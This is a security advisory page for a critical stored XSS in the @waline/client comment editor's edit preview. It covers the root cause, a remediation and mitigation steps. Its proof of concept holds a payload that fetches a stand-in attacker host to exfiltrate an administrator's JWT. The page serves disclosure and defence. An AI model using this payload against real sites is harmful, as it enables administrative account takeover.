NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

@waline/client vulnerable to stored XSS through unsanitized comment edit previewsGHSA-crj3-q72p-ggqm

CRITICAL

GHSA-crj3-q72p-ggqm is a critical-severity (CVSS 9.3) Cross-site Scripting (XSS) vulnerability in @waline/client. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Also known asCVE-2026-64670
Published
Updated
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Nov 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-crj3-q72p-ggqm.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦@waline/client

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

@waline/client renders the comment editor's live preview with marked and no sanitizer (utils/markdown.ts), and the preview is injected with v-html.

When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (orig).

Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click.

Details

packages/client/src/utils/markdown.ts:18-37 renders markdown with marked and returns the raw HTML with no sanitization (the client bundles no DOMPurify):

return marked.parse(parseEmoji(content, emojiMap)) as string;

packages/client/src/components/CommentBox.vue:

onMounted(() => {
  if (props.edit?.objectId) editor.value = props.edit.orig; // :509  raw comment body
  watchImmediate(() => editor.value, (value) => {
    previewText.value = parseMarkdown(value, { ... });        // :519  runs immediately on mount
  });
});
<div v-show="showPreview" class="wl-preview">     <!-- :616  v-show keeps the node in the DOM -->
  <div class="wl-content" v-html="previewText" /> <!-- :621 -->
</div>

watchImmediate runs the callback synchronously at mount, so previewText is populated with the unsanitized render as soon as the box mounts in edit mode.

v-show (not v-if) means the v-html node is present in the DOM (display:none), so an <img onerror> fires without the moderator ever opening the preview tab.

The tainted value is the attacker's raw comment. packages/server/src/controller/comment.js:41 sets comment.orig = comment.comment for any logged-in user before :55 runs DOMPurify, so orig is the pre-sanitization body. formatCmt returns it to logged-in users, and CommentCard.vue:104 shows the Edit button to admin or owner.

Proof of concept

  1. As an anonymous user, post a comment whose body is the payload below via POST /api/comment:
POST /api/comment
{ "url": "/any-post", "nick": "a", "comment": "<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" }
  1. On the public page the server sanitizes the display copy (markdown-it -> DOMPurify), so nothing fires for ordinary readers and the comment shows as a broken image. The raw body is stored in orig.

  2. As an administrator or the comment owner, click Edit on that comment during normal moderation.

  3. CommentBox mounts, seeds the editor with the raw orig, and watchImmediate immediately renders it through parseMarkdown (marked, no sanitizer) into the v-html preview node. Because the preview uses v-show (display:none), that node is already in the DOM without opening the preview tab, so onerror fires at once in the admin's session and exfiltrates their localStorage JWT.

The server's own comment guard strips this same <img onerror> on the stored display copy, which is why the public listing is safe; the edit preview is the unguarded path.

Impact

The waline JWT is in same-origin localStorage, so the payload can read it, yielding full administrative account takeover.

Suggested fix

Sanitize parseMarkdown's output with DOMPurify before returning it, mirroring the server guard: add dompurify to @waline/client and wrap the return in DOMPurify.sanitize(..., { FORBID_TAGS: ['form','input','style'], FORBID_ATTR: ['autoplay','style'] }).

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npm@waline/clientall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @waline/client, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of @waline/client for GHSA-crj3-q72p-ggqm. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary `@waline/client` renders the comment editor's live preview with `marked` and no sanitizer (`utils/markdown.ts`), and the preview is injected with `v-html`. When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (`orig`). Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click. ### Details `packages/client/src/utils/markd
O3 Security · Impact-Aware SCA

Is GHSA-crj3-q72p-ggqm in your dependencies?

Find it across npm, including transitive dependencies.

@waline/client vulnerable to stored XSS through…